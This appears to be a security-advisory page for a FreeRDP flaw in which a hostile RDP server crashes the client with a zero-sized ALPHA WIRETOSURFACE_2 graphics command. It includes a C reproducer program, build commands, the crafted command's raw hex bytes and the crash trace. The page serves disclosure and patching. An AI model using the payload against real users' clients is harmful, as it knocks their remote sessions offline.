Read the docs

RDPGFX ALPHA WIRETOSURFACE_2 command can abort a FreeRDP client

Priority LOW 35CWE-20Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-fqw6-jf2h-6fj6. Fix status from GitHub. Impact type from CWE-617.

Summary

FreeRDP up to and including 3.32.1 is affected. A malicious or compromised RDP server can send an ALPHA WIRETOSURFACE_2 graphics command with zero width and zero height, which the client does not validate (CWE-20). Processing that command triggers an assertion that terminates the client's RDP session, and a user connecting to such a server with the graphics pipeline active is affected. No memory corruption or code execution was demonstrated.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary A malicious or compromised RDP server can terminate a FreeRDP client that connects with the graphics pipeline active. After creating a graphics surface, the server sends an ALPHA `WIRETOSURFACE_2` PDU with the four-byte bitmap payload `4c 41 00 00`. The PDU has no destination rectangle, and the client leaves the surface command's width and height zero. The uncompressed ALPHA handler passes width zero as an element size to `Stream_CheckAndLogRequiredLengthEx`, whose `WINPR_ASSERT(size > 0)` aborts a verbose-assert client. No memory corruption or code execution was demonstrated. ### Root cause `rdpgfx_recv_wire_to_surface_2_pdu` in `channels/rdpgfx/client/rdpgfx_main.c` zero-initializes `RDPGFX_SURFACE_COMMAND` and dispatches it without assigning dimensions. `is_within_surface` in `libfreerdp/gdi/gfx.c` accepts the resulting empty rectangle. `gdi_SurfaceCommand_Alpha` calls `Stream_CheckAndLogRequiredLengthOfSize(TAG, s, cmd->height, cmd->width)` for `compressed == 0`, and `Stream_CheckAndLogRequiredLengthEx` in `winpr/libwinpr/utils/stream.c` asserts that the element size is positive before dividing by it. The original finding also described an infinite compressed loop from a zero-width `WIRETOSURFACE_1` rectangle. On the assessed revision and 3.31.1, `rdpgfx_read_rect16` rejects that rectangle. A `WIRETOSURFACE_2` command has zero height as well as zero width, so the compressed branch's outer loop is skipped. The dispatcher harness that produced a spin supplied a geometry state those two wire paths do not produce in these versions. ### Attack requirements and impact Alice must connect a FreeRDP client with RDPGFX enabled to a server controlled by Mallory. The server must open the RDPGFX dynamic channel, create a valid surface, then send the crafted ALPHA `WIRETOSURFACE_2` command. AUTODETECT enables the graphics pipeline in the assessed client source. The preserved live RDP/NLA session exited with code 134 after `WINPR_ASSERT(size > 0)` in the stream helper. A no-payload baseline stayed active, and an empty-rectangle `WIRETOSURFACE_1` control was rejected before ALPHA dispatch. The supported impact is termination of the client's RDP session. The observed crash was in a verbose-assert build. Without that assertion, the immediately following division by zero is a plausible termination path, but it was not executed in the preserved live test. ### Reproduction The preserved live test used a server harness; its wire command and observed client abort are documented after the listing. Save the complete C listing below as alpha_assert.c in a disposable directory alongside a FreeRDP source tree. It includes the actual libfreerdp/gdi/gfx.c translation unit and calls its ALPHA handler with the zero width and zero height that WIRETOSURFACE_2 produces. It is a handler-level reproducer, not a live RDP-server PoC. With a matching static FreeRDP build and a C compiler, the compile and run sequence is: ```sh SOURCE_DIR=FreeRDP-3.32.0 BUILD_DIR=build-alpha cmake -S "$SOURCE_DIR" -B "$BUILD_DIR" \ -DBUILD_SHARED_LIBS=OFF -DWITH_CLIENT=OFF -DWITH_SERVER=OFF \ -DWITH_VERBOSE_WINPR_ASSERT=ON cmake --build "$BUILD_DIR" --parallel 2 cc -O1 -g -std=gnu11 -ffunction-sections -fdata-sections \ -I"$SOURCE_DIR" -I"$SOURCE_DIR/include" -I"$SOURCE_DIR/winpr/include" \ -I"$SOURCE_DIR/libfreerdp/core" -I"$SOURCE_DIR/libfreerdp" \ -I"$BUILD_DIR" -I"$BUILD_DIR/include" -I"$BUILD_DIR/winpr/include" \ alpha_assert.c -o alpha_assert \ "$BUILD_DIR/libfreerdp/libfreerdp3.a" \ "$BUILD_DIR/winpr/libwinpr/libwinpr3.a" \ -Wl,--gc-sections -lz -lssl -lcrypto -licuuc -licui18n \ -lm -lpthread -ldl -lrt ./alpha_assert ``` The build recipe has not been executed against 3.32.0. Dependencies and linker flags may need adjustment for a different platform or FreeRDP configuration. The program intentionally aborts a disposable process when assertions are enabled. ```c #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/assert.h> #include <winpr/cast.h> #include <winpr/wlog.h> #include <freerdp/api.h> #include <freerdp/log.h> #include <freerdp/gdi/gfx.h> #include <freerdp/gdi/region.h> #include <freerdp/utils/gfx.h> /* Compile the real ALPHA handler from the selected FreeRDP source. */ #include "libfreerdp/gdi/gfx.c" static gdiGfxSurface testSurface = WINPR_C_ARRAY_INIT; static UINT32 testAreaCalls = 0; /* Link stubs for hidden libfreerdp symbols pulled in by gdi_OutputUpdate * (not reached on this abort path). */ BOOL update_begin_paint(rdpUpdate* update) { WINPR_UNUSED(update); return TRUE; } BOOL update_end_paint(rdpUpdate* update) { WINPR_UNUSED(update); return TRUE; } static void* test_get_surface_data(RdpgfxClientContext* context, UINT16 surfaceId) { WINPR_UNUSED(context); WINPR_UNUSED(surfaceId); return &testSurface; } static UINT test_update_surface_area(RdpgfxClientContext* context, UINT16 surfaceId, UINT32 nrects, const RECTANGLE_16* rects) { WINPR_UNUSED(context); WINPR_UNUSED(surfaceId); WINPR_UNUSED(nrects); WINPR_UNUSED(rects); testAreaCalls++; return CHANNEL_RC_OK; } int main(void) { static BYTE plainData[] = { 0x4C, 0x41, 0x00, 0x00 }; BYTE pixels[16 * 64]; memset(pixels, 0xAA, sizeof(pixels)); rdpGdi gdi = WINPR_C_ARRAY_INIT; gdi.log = WLog_Get("com.freerdp.test.alpha"); RdpgfxClientContext context = WINPR_C_ARRAY_INIT; context.GetSurfaceData = test_get_surface_data; context.UpdateSurfaceArea = test_update_surface_area; testSurface.surfaceId = 1; testSurface.width = 16; testSurface.height = 16; testSurface.mappedWidth = 16; testSurface.mappedHeight = 16; testSurface.scanline = 64; testSurface.format = PIXEL_FORMAT_BGRX32; testSurface.data = pixels; region16_init(&testSurface.invalidRegion); RDPGFX_SURFACE_COMMAND cmd = WINPR_C_ARRAY_INIT; cmd.surfaceId = 1; cmd.codecId = RDPGFX_CODECID_ALPHA; cmd.format = PIXEL_FORMAT_BGRX32; cmd.data = plainData; cmd.length = sizeof(plainData); fprintf(stderr, "calling ALPHA width=%u height=%u compressed=0\n", cmd.width, cmd.height); fflush(stderr); const UINT rc = gdi_SurfaceCommand_Alpha(&gdi, &context, &cmd); fprintf(stderr, "returned rc=%u UpdateSurfaceArea calls=%u\n", rc, testAreaCalls); return 0; } ``` The preserved original harness used the same real ALPHA handler and uncompressed signature but gave the command positive height; its assert-mode run exited 134 with the size assertion. Separately, the preserved live server test sent the real WIRETOSURFACE_2 command with both dimensions zero and recorded client exit 134, without monitor intervention. The live plaintext RDPGFX command was: ```text 020000001900000001000c000000000020040000004c410000 ``` The verified live client trace reported: ```text [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((size > 0)) [./winpr/libwinpr/utils/stream.c:Stream_CheckAndLogRequiredLengthEx:403] ``` The observed live result came from the preserved server test. No complete live server source is reproduced here, and the handler-level program alone does not establish wire reachability. The WIRETOSURFACE_2 parser and the preserved live run establish that separately. ### Remediation Reject zero width or height before ALPHA stream and run processing. In `WIRETOSURFACE_2`, reject codecs that require destination dimensions when the PDU supplies none. Add regression tests for the real wire path and for empty and nonempty ALPHA rectangles. No fixed release was identified.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-fqw6-jf2h-6fj6
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-fqw6-jf2h-6fj6

Remediation

Upgrade FreeRDP to version 3.32.2, which fixes the flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-fqw6-jf2h-6fj6 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-fqw6-jf2h-6fj6

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences